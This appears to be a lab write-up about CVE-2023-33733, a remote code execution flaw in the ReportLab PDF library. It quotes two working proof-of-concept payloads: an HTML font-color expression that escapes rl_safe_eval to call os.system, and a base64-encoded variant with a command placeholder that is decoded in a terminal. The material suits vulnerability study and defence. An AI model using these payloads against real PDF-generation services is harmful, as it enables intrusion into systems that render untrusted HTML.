CVE-2023-33733


A vulnerability was found in Reportlab up to 3.6.12 (Reporting Software). It has been declared as critical. Affected by this vulnerability is an unknown function of the component PDF File Handler. As an impact it is known to affect confidentiality, integrity, and availability.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient checks in the ‘rl_safe_eval’ function. Attackers can inject malicious code into an HTML file that will later be converted to PDF using software that relies on the ReportLab library. To exploit the vulnerability, the entire malicious code must be executed with eval in a single expression.

Exploit


Multiple exploits found online;

c53elyas


CVE-2023-33733

There is a mention of xhtml2pdf utility, which was seen in the metadata.

<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">
                exploit
</font></para>

This is the PoC for transforming malicious HTML to PDF

L41KAA


CVE-2023-33733-Exploit-PoC

The build_post_body function contains the exploit payload in the base64 format

┌──(kali㉿kali)-[~/archive/htb/labs/university]
└─$ echo PHA+PGZvbnQgY29sb3I9IlsgWyBnZXRhdHRyKHBvdywgV29yZCgnX19nbG9iYWxzX18nKSlbJ29zJ10uc3lzdGVtKCd7Y21kfScpIGZvciBXb3JkIGluIFsgb3JnVHlwZUZ1biggJ1dvcmQnLCAoc3RyLCksIHsgJ211dGF0ZWQnOiAxLCAnc3RhcnRzd2l0aCc6IGxhbWJkYSBzZWxmLCB4OiBGYWxzZSwgJ19fZXFfXyc6IGxhbWJkYSBzZWxmLCB4OiBzZWxmLm11dGF0ZSgpIGFuZCBzZWxmLm11dGF0ZWQgPCAwIGFuZCBzdHIoc2VsZikgPT0geCwgJ211dGF0ZSc6IGxhbWJkYSBzZWxmOiB7c2V0YXR0cihzZWxmLCAnbXV0YXRlZCcsIHNlbGYubXV0YXRlZCAtIDEpfSwgJ19faGFzaF9fJzogbGFtYmRhIHNlbGY6IGhhc2goc3RyKHNlbGYpKSwgfSwgKSBdIF0gZm9yIG9yZ1R5cGVGdW4gaW4gW3R5cGUodHlwZSgxKSldXSBhbmQgJ3JlZCciPgoxPC9mb250PjwvcD4= | base64 -d
<p><font color="[ [ getattr(pow, Word('__globals__'))['os'].system('{cmd}') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))]] and 'red'">
1</font></p>   

Decoding the exploit payload reveals the same malicious HTML